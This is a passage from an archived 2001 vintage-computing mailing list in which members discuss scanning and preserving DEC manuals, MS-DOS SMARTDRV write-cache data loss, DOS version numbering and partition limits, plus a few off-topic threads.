pre-PNG version of GD). I got as far as scaling the scan and doing some edge detection. Oh, BTW, I scanned the *back* of the punch card to avoid having to figure out what was holes and what was printed on the card. I got distracted by other projects and never went back to it because I don't have any punch cards with real data to scan, only some that came with a Computer Science correspondence course that I picked up at a local thrift store for $0.75. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ard at p850ug1.demon.co.uk Fri Jun 22 16:52:05 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:44 2005 Subject: What's best to do?? classically speaking In-Reply-To: from "Fred Cisin" at Jun 21, 1 07:47:05 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1479 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010622/f1c1906d/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jun 22 17:06:15 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: from "Brian Chase" at Jun 22, 1 11:50:09 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 975 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010622/b8ce8b8d/attachment.ksh From ethan_dicks at yahoo.com Fri Jun 22 17:34:42 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <20010622162129.D27289@mrbill.net> Message-ID: <20010622223442.21469.qmail@web9507.mail.yahoo.com> --- Bill Bradford wrote: > On Fri, Jun 22, 2001 at 01:43:14PM -0700, healyzh@aracnet.com wrote: > > Please don't scan them at such a low resolution! 300dpi works pretty good. > > > I'd really recommend going out and buying Adobe Acrobat itself. I bought > V5 > > and am very happy with it. > > 100dpi seems to be the best resolution that I've seen for a tradeoff between > readability and file size. OK... now print them. How does _that_ look? I have to recommend scanning at 300 dpi and who cares about file size. CD-ROMs are cheap. > This is text and line drawings... for finer stuff, I'll use a higher > resolution, > of course. Wouldn't it be better to have it be a) consistent, and b) legible when re-printed? -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Fri Jun 22 17:38:31 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: <20010622223831.13551.qmail@web9505.mail.yahoo.com> --- Sellam Ismail wrote: > On Fri, 22 Jun 2001, Ethan Dicks wrote: > > > Talk to Doug Jones. He recommends dismantling the book carefully > > for the best quality copies/scans. > > I completely recommend AGAINST destroying the original. Not only is it in > some cases a historical artifact on its own, if the digital copy were ever > to be lost then you're SOL. Please note that I said "dismantle" not "destroy". If you've handled these old DEC handbooks, you'd see the cracking, yellowed pages and the perfect binding turning to dust. The idea is you carefully remove the leaves from the remaining binding so you can line them up nicely on a scanner/photocopier and then put them back in order in a baggie so you still have the original paper for ultimate reference/new scanning technologies, but you also have a high-quality digital copy that can be printed, archived, shared, etc. All this is moot if you don't scan at a resolution that approaches that of the printing device, of course. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ard at p850ug1.demon.co.uk Fri Jun 22 17:37:28 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:44 2005 Subject: Punched card readers In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371511E6@jeffserver.tegjeff.com> from "Douglas Quebbeman" at Jun 22, 1 04:33:18 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2297 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010622/ee45c5d4/attachment.ksh From cisin at xenosoft.com Fri Jun 22 17:57:39 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:44 2005 Subject: SMARTDRV (was: MS-DOS version (was: What's best to do?? In-Reply-To: <200106221906.OAA19319@caesar.cs.umn.edu> Message-ID: On Fri, 22 Jun 2001, Lawrence LeMay wrote: > Really? I never had problems with Smartdrive on 286 and 386's. I remember > running a IBM-AT with something like 10 Megs of ram, and using about 6-8 > Megs with smartdrive as a huge disk cache. Great way to make the system > run like a bat outta hell (well, hard drives were big and slow back then). > That was probably on a dos 3.3 system, maybe with windows 3.0 > Hmm, of course we never used disk compression, so maybe thats why I saw > no problems and only major benefits to using Smartdrive. No, the problems were not related to compression, although that could exacerbate any other problems. The problem was with the delayed write. If you had SMARTDRV configured for read caching only, then it worked fine. To turn off write caching, invoke it with /X, or SMARTDRV C (not SMARTDRV /C) would turn on read caching with no write caching for drive C. I also like to always use the /V (verbose) option for SMARTDRV, MSCDEX, etc. The problems with write caching: example 1: a user saves a WordPervert document, exits WordPervert, and being "done", shuts the computer off. The write cache had not been written to disk. 2: power failure while there is content in the write cache. 3: SMARTDRV rearranged the sequence of writes for greater efficiency. If interrupted, the alteration of the sequence of writes meant serious discrepancies between what the DIRectory showed v what was on the disk. (as opposed to "normal" disk I/O, where an interruption would mean that later changes were lost, but earlier changes had been completed. 4: disk error during write. In "normal" disk I/O, an error writing to the disk would invoke the critical error handle, aka "ABORT, RETRY, IGNORE, FAIL" If RETRY doesn't do it, it is possible to ABORT out of the currently running program, or IGNORE the error (continue on, pretending that nothing had happened) But with write caching, SMARTDRV has already told the system that the write had been successfully completed, before it actually tried. (Kinda like when you tell your boss that you finished the project, but left it home. At lunch time you dash home, fire up the computer to start, and it blue screens.) SMARTDRV can RETRY. But it CAN'T ABORT out of the middle of the program, because the program was "successfully" finished long ago. It can't even IGNORE. During Windoze 3.10 installation (I was a Beta), if you hit a disk write error (hard drives were not as reliable then as now), you could write down which file failed, IGNORE the error, finish the installation, then go back and manually install the WINGBAT ITALICS file, or whatever. BUT Windoze 3.10 installed SMARTDRV with write caching enabled. It would not give ANY choice except RETRY. Power cycling was the only way to regain control. But although all but 3 of the files had been copied, the DIRectory was still and write cache and not written, so, once rebooted, there was no visible trace of the partial installation. I called the BETA support staff, and explained the problem. They said, "but that's a HARDWARE problem". I said, "1) It is the responsibility of the operating system to handle hardware problems without causing further complications. 2) leaving it that way was going to cost millions of dollars in support, and the need for free upgrades to fix it." When MS-DOS 6.00 came out, without any notification to the user, nor request for confirmation, it installed SMARTDRV with write caching enabled. Few users were aware of SMARTDRV, or that it had been installed. The user was given an option to run drive compression. Every user who ran drive compression was aware that they had done so, but unaware that they were also running SMARTDRV. Users started losing data (see above examples). They KNEW that they were using drive compression, but DIDN'T know that they were using SMARTDRV. Infoworld wrote several DOZEN articles "Users of new DOS having problems" "DBLSPACE USERS losing data" "More problems with DBLSPACE", ... ALL blaming the drive compression, but never isolating WHAT was going wrong. The Infoworld "lab" set up a "test" system (there IS a difference between demonstrating the existence of a problem v isolating it!) that consisted of a script that would do some spreadsheet macros, then do some WordPervert macros, and then do a cold reboot and repeat (see above examples!). Sure 'nuff they started getting corruption of the disk, therefore "PROVING that DBLSPACE was corrupting disks". Bill Gates called the editor and claimed that the Infoworld test wasn't valid and did NOT prove that DBLSPACE was at fault. (He did NOT explain that there was another known MICROS~1 culprit). The editor reported it as an attempt at intimidation. Eventually, MICROS~1 had to "fix the problems with DBLSPACE". They came out with DOS 6.20. They implemented a long feature wish list of reliability related features, including things like asking for confirmation before over-writing an existing file. They also "fixed DBLSPACE". The changes that they made to "fix DBLSPACE": 1) turned off write caching in SMARTDRV 2) IF the user turned write caching back on, then when exiting a program, SMARTDRV would not let DOS display the prompt until the write cache had been written (thus taking care of the user who THOUGHT that it was done) 3) if write caching was enabled, SMARTDRV didn't rearrange the write sequence. [see what those fixes to DBLSPACE have in common?] Infoworld reported that MICROS~1 had "Fixed DBLSPACE in the new version". If you never turned off the machine prematurely, and never had an unrecoverable write error, then you might never have experienced the problems. You were lucky. -- Grumpy Ol' Fred cisin@xenosoft.com From cisin at xenosoft.com Fri Jun 22 18:06:04 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:44 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <01Jun22.160510edt.119051@gateway.mediacen.navy.mil> Message-ID: On Fri, 22 Jun 2001, Jeff Hellige wrote: > Not entirely correct, as Zenith did label theirs as 'MS-DOS Version > 3.3 Plus'. THAT sounds like a MARKETING label. > It did support partitions larger than 32M. I've not > actually booted it in a number of years to see what the VER command > reports back though. I remember using this on Z-248's and still have a > number of sets of the disks. Go into DEBUG and type: A MOV AH, 30 INT 21 INT 3 ;that's pressing enter without typing anything G It will display the registers. AL has the major version, AH has the minor version. If AH is other than 1F (on a 3.xx system that supports >32M), then I am wrong. (AX: 1F03 -- Grumpy Ol' Fred cisin@xenosoft.com From cisin at xenosoft.com Fri Jun 22 18:13:47 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:44 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Jeff Hellige wrote: > >Upper limit -- isn't it still 2gb per partition unless special disk manager > >software is installed? NT has no restriction theoretically. > Under DOS with 16bit access it's still 2gig per partition. I > believe it's 8gig per partition under the 32bit access of > 95/98/NT/2000. Boot from a plain DOS disk for the install of one of > those though and you'll still be stuck with 2gig. FAT16 is limited to 2G per partition. (it can be anything from -2147483648 to 2147483648). In NT, you can have a 4G FAT16 partition (they finally learned the difference between signed and unsigned numbers) Through corruption of directory entries (signed numbers!!!), you can have a file with a NEGATIVE size! When my drive was getting crowded, I stepped on a floppy to make a -2G file and tried to copy that to the hard drive, figuring that that would increase my free space by 2G. It didn't work. FAT32 and NTFS don't have the 2G limit. I don't know what their limits are. I think that the 8G limit was a BIOS limit. What limits still exist for the high end? -- Grumpy Ol' Fred cisin@xenosoft.com From cisin at xenosoft.com Fri Jun 22 18:15:43 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <200106222103.f5ML3XP28394@shell1.aracnet.com> Message-ID: There does exist an expensive process involving a pressurized system for neutralizing the acids in pages of books. It is not very widely available. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From rdd at smart.net Fri Jun 22 18:27:55 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Tony Duell wrote: [someone else, ?, wrote:] > > I'm against the idea of destroying the original as well, but I think your > > point about losing the digital copy is pretty silly. It's digital... just > > OK, which would you rather have to read? A book (printed in English) > written about 150 years ago, or a magnetic tape from an Elliot 803? The answer is quite simple to arrive at: a printed book. Alas, too many books have been printed on acidic paper... of course, the solution is rather simple, a good photocopy on acid-free paper. :-) > Point is, as we've argued many times before, digitally-recorded data has > a much shorter life than dead trees (both due to degredation of the > magnetic media and the fact that the equipment used to read it becomes > obsolete). As to the "dead trees" argument made by rabid environmentalists: not all paper comes from trees, such as 100% cotton paper. Alas, the idiot biz-'droids often label it as "resume paper" or somesuch; why waste such good quality paper on resumes that will be tossed into the wastbasket within minutes of their receipt, I don't know... on the otherhand, 100% cotton paper is nice for photocopies of valuable things as well as for use as stationary (yes, some of us still like stationary and a fountain pen for writing letters). > I'm all for making copies of such things and distributing them digitally > if the copyright owner agrees, but I am not in favour of keeping digital > versions of a book/document rather than the original. I agree completely. Furthermore, printed books are much more pleasant to read than a computer screen. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From foo at siconic.com Fri Jun 22 17:18:24 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:44 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Jeff Hellige wrote: > One of the big problems I remember with Smartdrive is that > people would shut the system down before all the cache had been > written to the disk. On any machine I set up, I always made it a > point to put: > > Smartdrv /c > > In a batch file called SHUT.BAT and I'd execute it to flush > the RAM prior to shutting down. I turned off write caching all together. Better safe than stupid. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 22 17:22:24 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <200106222059.f5MKxmM28307@shell1.aracnet.com> Message-ID: On Fri, 22 Jun 2001 healyzh@aracnet.com wrote: > Unfortunatly you're correct about the problems with Adobe Acrobat. Though > this partially depends on the software used to create the files. It's a > shame that OCR software isn't more flexable, and cheaper. Acrobat is still > far superior to the Type 4 TIFF's (I think this is the right format) that a > lot of the PDP-8 doc's have been done in. > > BTW, that Adobe Acrobat Document I mentioned in the previous post is only > 3745Kb and that's for a 106 page document scanned at 300dpi. I've come to accept that the advantages of Adobe outweigh the negatives. The most practical advantages are that the interface is nice (being able to page forward and back, and jump between pages, etc.) and you can print the document and create your own copy. One can't do this so nicely with TIFFs and a web browser. 3.5MB for a 106 page document is still pretty bloated though. > > Well, we don't need everyone doing this. One or two handbooks being > > destroyed to make a digital archive is fine. The best thing to do is > > scour the net for prior work before one proceeds to shred a book for > > scanning. > > I couldn't agree more, however, the person doing it should ensure that > they're doing a good enough quality that no one else will need to do > it again. Plus doing it in a format such as Adobe Acrobat which can > be read with Open Source tools is also a good thing. Totally agreed. Minimum resolution should be 300DPI as you suggest (it's where I get my best results when you are trying to optimize quality/size). Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 22 17:26:50 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:44 2005 Subject: Punched card readers In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Jeff Hellige wrote: > I'll have to see if I still have that NEETS module here. I > don't remember the section on the Harris systems though. I know some > of the oilers were still using them since the ship wasn't large enough > to accomodate the Honeywell systems. The last time I actually worked > on one was in '93. Even the Honeywell's are being replaced by micro's > running Unix though. Straying a bit off topic, can someone explain why the Navy, a branch of the US military, requiring rock solid, uncompromising stability in the systems that control their vessels, in their infinite procedural and compliance wisdom, would choose Windows NT to control battleships? Or was that just a sick joke? I know it wasn't, but I'd like to believe it was ;) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jhellige at earthlink.net Fri Jun 22 18:27:33 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: References: Message-ID: >It will display the registers. AL has the major version, AH has the minor >version. If AH is other than 1F (on a 3.xx system that supports >32M), >then I am wrong. (AX: 1F03 At the moment, I don't have a functional machine that will run the Zenith DOS, but here's the text of a message I posted about 3 months ago to Usenet with a link, which is still valid, that gives some of the differences between the various DOS versions, including Zenith DOS 3.3+ ---------------------- I did a quick search on Altavista of "Zenith DOS 3.3" and came up with the following URL: http://kb.indiana.edu/data/aams.html It states that Zenith DOS 3.3+ supported the larger partition size supported by DOS 4.0. We had a couple of Zenith 248's that ran 3.3+ but most of ours ran Zenith DOS 3.2 with either 20meg (ST-225) or 40meg (ST-251 or dual ST-225's) drives. The ST-251's were generally partitioned into two 20meg partitions, even if using DOS 3.3+. This was done for compatibility purposes since any extended 3.3+ partition would be unreadable if the system was booted from a 3.2 floppy. Judging from the way the timeline on the page is laid out, it would appear that Zenith DOS 3.3+ may have been the first to break the 32MB/partition barrier. -------------------- Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From foo at siconic.com Fri Jun 22 17:31:08 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Jeff Hellige wrote: > Plus, if MS can send an NT service pack of 90meg over the wire > with who knows how many people downloading it at once, a 4-5meg PDF of > a truly useful manual being downloaded by a small number of people > isn't going to make much difference bandwidth wise. I wasn't referring to a drain on bandwidth on the whole, but for folks who are trying to download these scanned documents to use. I don't care, I have a cable modem. But for someone with a 56K modem, a 3.5MB PDF file is hell :( Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 22 17:39:50 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:44 2005 Subject: SMARTDRV (was: MS-DOS version (was: What's best to do?? In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Fred Cisin (XenoSoft) wrote: > Eventually, MICROS~1 had to "fix the problems with DBLSPACE". They > came out with DOS 6.20. They implemented a long feature wish list of > reliability related features, including things like asking for > confirmation before over-writing an existing file. They also "fixed > DBLSPACE". Gawd I hated that...having to confirm that YES, I REALLY DO WANT TO DELETE THIS FARQING FILE DAMN IT! Eventually I just put a COPYCMD=/Y (or something like that) in my CONFIG.SYS file which forced the equivalent of a /Y option (effectively, do not confirm) to any command that could overwrite/delete files and the problem was solved. Stupid Microsoft. > If you never turned off the machine prematurely, and never had an > unrecoverable write error, then you might never have experienced the > problems. You were lucky. I realized early on it was ripe for trouble so I automatically disabled it. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jhfine at idirect.com Fri Jun 22 18:39:10 2001 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 19:04:44 2005 Subject: BIG haul of DEC docs! References: <20010619211130.A20463@mrbill.net> Message-ID: <3B33D71E.C461ABE@idirect.com> >Bill Bradford wrote: > I just got an incredible haul of DEC docs in the mail. Once I > get through scanning these and putting them up as .pdf's on > DECDOCS.ORG (which I just registered), the actual handbooks, etc, > themselves will need a good home, and I dont have space for them - > but I refuse to toss stuff like this away. I'd like to trade them > for other DEC PDP stuff if possible. > > So, if anybody's interested, please let me know. I'll be done > with these in a month or so, assuming I get plenty of time to > use my scanner. Jerome Fine replies: This is a great start!!!!!!!!!!!! I have a number of similar DEC docs of which some are duplicates. I was considering selling them, but would MUCH RATHER see them scanned. In the next few weeks, I will attempt to gather them together and note the duplicates which are not listed here. I note that almost all the replies are about quality, but no one has offered to add to the list. Hey, can't we all pool at the very least the extra books that we have and have them scanned? Eventually, those who have manual collections may wish to either LOAN them or donate them to be scanned. By the way, is it possible to separate the text and the diagrams? Probably in most cases, that would allow for a plain text portion which also can be searched with an editor and be MUCH MORE useful, especially under the actual software of the original PDP-11 systems, such as in RT-11 with either TECO or KED. While the diagrams are obviously important, having the text ONLY in a plain text file would not only reduce the file size, but allow the viewer to see AND SEARCH the file using a file editor native to the original PDP-11 operating system and file utilities. So I can keep better track, I have eliminated the RSX references. I don't have any of those since I am an RT-11 addict. > Everything is in "Good" or better condition, given some yellowing > of the pages due to age, of course. Only one of the handbooks has a > torn cover, and its only slightly dog-eared. > Handbooks: > Year Title > ------------- > 69 Digital Logic Handbook > 70 Digital Logic Handbook > 70 Laboratory Computer Handbook (PDP-12) (x2) > 71 PDP-11/45 Processor Handbook > 72 Microcomputers and Memories > 72 Logic System Design Handbook > 72 PDP-11/40 Processor Handbook > 72-73 PDP-11/45 and 11/50 System Maintenance Manual > 73-74 Digital Logic Handbook > 75 PDP-11/70 Processor Handbook > 75-76 LSI-11 PDP-11/03 Processor Handbook (x2) > 75-76 Digital Logic Handbook > 76 RK11-D & RK11-E Moving Head Disk Drive Controller User's Manual > 76 DR11-C General Device Interface (x2) > 76 PDP-11 Software Handbook > 76 PDP-11/34 Processor Handbook > 76 PDP-11 Peripherals Handbook > 76-77 Digital Logic Handbook > 77 PDP-11/60 Processor Handbook > 78 PDP-11 Processor Handbook (04/34/45/55/60) > 78 Microcomputer Processors > 78 PDP-11 Peripherals Handbook > 83 Cables: Handbook for the System Builder > 83 PDP-11 Software Source Book Vol. 1: Application Software > 83 PDP-11 Software Source Book Vol. 2: Systems Software > 83-84 Micro PDP-11 Handbook > 88-89 Software Handbook > > Catalogs: > Year Title > ------------- > 82 DECdirect Spring > 84-85 DECdirect Winter > 87-88 DECdirect Plus Summer/Fall > 88-89 DECdirect Plus Summer/Fall > 88-89 DECdirect Plus Winter/Spring > 85-86 DECdirect Plus Fall/Winter > 84 Add-Ons and Upgrades > > 83 (May) Emulex Controller Handbook: Communication and Peripherals > > The Software Dispatch Review (bug reports): > Year Title > ------------- > Bill Bradford > mrbill@mrbill.net > Austin, TX If we could have some co-ordination between those that have and are willing to use scanners and those that have the books, maybe we can make up a list of all the PDP-11 books into five lists (maybe more) that might be useful? (a) Hardware Manuals (b) RSTS/E Manuals (c) RSX Manuals (d) RT-11 Manuals (e) Other Manuals - if this list is too large, then divide it as well. Sincerely yours, Jerome Fine From rdd at smart.net Fri Jun 22 18:55:40 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:44 2005 Subject: Wave of the Future (Spam) In-Reply-To: <200106221637.JAA08962@stockholm.ptloma.edu> Message-ID: On Fri, 22 Jun 2001, Cameron Kaiser wrote: > > Your point is? Remember, the Clintons are Democrats. Democrats and > > Reublicans are both alike in that they all revere one thing: political > > power at any cost, and enjoy it all the more when it's at the expense > > of their serfs^H^H^H^H^Htaxpayers. > > Okay, then, all libertarians are nuts. Who wants to top this troll? ;-) Sorry, I didn't mean to leave any political parties out of the critique; most politicians from all parties are, well, as you say "nuts." There, that's much fairer; equal offense to all. :-) By the way, it was no troll. How can anyone, honestly, have any respect for most of our elected loonies? The president included, they should be no more respected or important than anyone else; in fact, they should be thought of as less important than the taxpayers whom they're supposed to be serving. As Thomas Jefferson would, no doubt, have agreed, the taxpayers just aren't doing a good enough job of keeping the politicians afraid of the taxpayers and on their good behavior. Instead of applauding the overpaid political idiots at parades on the 4th of July, why aren't we celebrating the 4th properly by booing them and burning effigies of them as they pass by on the parade routes? To do otherwise, and celebrate that day, is just plain hypocrisy. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From cmurillo at emtelsa.multi.net.co Fri Jun 22 17:48:50 2001 From: cmurillo at emtelsa.multi.net.co (Carlos Murillo) Date: Sun Feb 27 19:04:44 2005 Subject: Boom cars (ot for sure...) Message-ID: <3.0.2.32.20010622184850.00ea36f0@obregon.multi.net.co> My first msg hasn't come through yet, so I am resending it. Sorry if the first one does show up. ----------------------------------------------------------------------- At 04:52 PM 6/21/01 -0700, Chris wrote: >The big problem is power density -- these things only have to provide >cancellation in the confines of a headset ear cup. Cancellation in the >large would obviously require much higher power levels. It is actually more complicated. The dynamics of the room would have to be accounted for, which makes it many times more difficult than in the headset case. Also, to be able to cancel the noise in several directions you need more drivers and mikes. I once toyed with the idea of a feedback-controlled stereo system to completely elliminate the dynamics of your listening room and hear those of the recording hall, for example. The idea was: when you record, you place mikes separated 3-4" apart in one of the audience chairs, mimicking the directionality of human ears mounted on a cranium :-) . In fact, you install several such sets of mikes, all with a slightly different orientation wrt sound source. Then, at home, you put on a headset that doesn't cover your ears, but it has a second set of mikes like the ones used for recording, and some orientation sensing device. The stereo/DSP's job is the following: to project on your headset's mikes sound waves that produce identical local pressure at your ears (feedback control ideas would be used) to those that were received at the recording hall by the set of mikes that most closely matches your current head position. Voila`, Panoramic Sound. The algorithms for doing this exist already, and, while slightly complicated for the ocasional home stereo hobbyist, they are within the grasp of any grad student in the control/DSP/cancellation field. They involve the estimation of the reproduction room's characteristics, feedback control and active cancellation ideas. Somebody must be developing this exact idea somewhere. It is just a logical step given the state of DSP and active cancellation technology. Carlos. -------------------------------------------------------------- Carlos E. Murillo-Sanchez carlos_murillo@nospammers.ieee.org From javi at cse.ucsc.edu Fri Jun 22 18:55:55 2001 From: javi at cse.ucsc.edu (Francis. Javier Mesa) Date: Sun Feb 27 19:04:44 2005 Subject: IBM RS6000 7013 parts needed In-Reply-To: Message-ID: Hi! I just got a big ol' RS6000 59h powerserver. It is the deskside chassis (7013 series), and I am in dire need of a couple of parts: a) The front and back skins (I have the full chassis, except that it is missing the back/front covers....) b) The key assembly, with key. Since I don't have the key and I need it so I can get into service mode. Of course I could just short the cables comming out of the key... but that would not be very aesthetic!!! :) So if anyone has one of these beasts around, please let me know. I don't need anything that is specific to the 59h model, since the guts of the computer are in OK condition. But if you have a 520 on up I would be interested in those parts (maybe some extra stuff like CD/ROM, tape drive). If anyone wants I can trade them for some DEC 3000 alpha AXP parts (I have some 300lx and some 600 models) cheers. _______________________________________________________________________ Francisco J. MesaMartinez http://www.cse.ucsc.edu/~javi _______________________________________________________________________ Basking Engineering Ctr #228 email:javi@cse.ucsc.edu University of California Santa Cruz, CA 95064 phone:(831) 502-2073 _______________________________________________________________________ From jhellige at earthlink.net Fri Jun 22 18:55:48 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: Punched card readers In-Reply-To: References: Message-ID: >Straying a bit off topic, can someone explain why the Navy, a branch of >the US military, requiring rock solid, uncompromising stability in the >systems that control their vessels, in their infinite procedural and >compliance wisdom, would choose Windows NT to control battleships? >Or was that just a sick joke? I know it wasn't, but I'd like to believe >it was ;) If you're referring to battleships specifically, such as the 4 Iowa class, they've all been gone since about '94. I doubt NT had much, if anything, to do with whatever micros they had onboard. Even Enterprise didn't get the bulk of it's NT workstations/LAN until well into '97. If you're referring to warships in general, yes it's sad but true that NT appears in a few places that truly should have more stability and security than that. LIke many other large networks, the Navy's has been going towards a 'one size fits all' mentality. Of course, we all know that type of thinking never works out. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From cisin at xenosoft.com Fri Jun 22 18:59:00 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:44 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Jeff Hellige wrote: > http://kb.indiana.edu/data/aams.html That article is FULL of errors! It says that 1.0 supported 320K. Wrong. 320K came with PC-DOS 1.10 and MS-DOS 1.25 It doesn't bother to mention that 2.00 was the first support for sub-directories, and file handle based file I/O PC-DOS 2.10 was IBM's patched 2.00. They added addition ROM scanning, and slowed down the disk I/O to deal with the Qumetrak 142 drives that IBM used in the JR and Portable that were too slow to use with DOS. MS-DOS 2.11 was the "customizable" version. Many manufacturers used it to add 720K and support for weird video (such as Gavilan) 3.00 permitted path in command invocation, and added 1.2M 3.10 added the (undocumented) network redirector. You need at least 3.10 to run MSCDEX 3.20 supported 720K. The article is WRONG. 3.30 supported 1.4M, NOT just 720K The article is WRONG. 3.31 (MS-DOS only, NO PC-DOS) broke the 32M limit. The article is WRONG. "3.3+" is the MARKETING name, NOT the [real] version number. Please tell me how you would put "3+" into 8 bits! The REAL minor version number is taken as a two digit decimal number, and then stored in 8 bits. Zenith was NOT "the first". They were merely one of the many simultaneous releases of 3.31. But they were the one that the author of that article had heard of. BTW, Compaq could also make the same BOGUS claim to be "the first". If 4.00 was a "major upgrade" as the article states, then what is the difference between it and 3.31? 5.00 was NOT based on DR-DOS!!! DR, did however, beat MICROS~1 to market with a similar feature list. How about 6.00, 6.10, 6.20, 6.21, 6.22, 6.23, and 6.30? Well, THOSE are OT for thisa list. > It states that Zenith DOS 3.3+ supported the larger partition size > supported by DOS 4.0. We had a couple of Zenith 248's that ran 3.3+ > but most of ours ran Zenith DOS 3.2 with either 20meg (ST-225) or 40meg > (ST-251 or dual ST-225's) drives. The ST-251's were generally > partitioned into two 20meg partitions, even if using DOS 3.3+. This > was done for compatibility purposes since any extended 3.3+ partition > would be unreadable if the system was booted from a 3.2 floppy. > Judging from the way the timeline on the page is laid out, it would > appear that Zenith DOS 3.3+ may have been the first to break the > 32MB/partition barrier. I value YOUR knowledge far more than that article. You may not realize it, but you know more than he does. The author of it should be ashamed of himself for such GROSS lack of research. Whereas you don't make claims other than relating your experiences. -- Grumpy Ol' Fred cisin@xenosoft.com From jhellige at earthlink.net Fri Jun 22 19:00:52 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: References: Message-ID: >There does exist an expensive process involving a pressurized system for >neutralizing the acids in pages of books. It is not very widely >available. There have been services available for years offering to treat old comic books, though I've never had any first hand experience with how successful they are. The comic books up until the late 1980's were also printed on some of the cheapest, most acidic paper available. Anyone who has seen a comic book dating from the 40's or 50's and stored in the typical basement fashion has seen how brown and brittle that paper gets. They were never meant to last. Overstreets' annual price guide used to have all kinds of advertisements from these places. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jhellige at earthlink.net Fri Jun 22 19:02:24 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: preserving / ressurecting old docs? In-Reply-To: References: Message-ID: 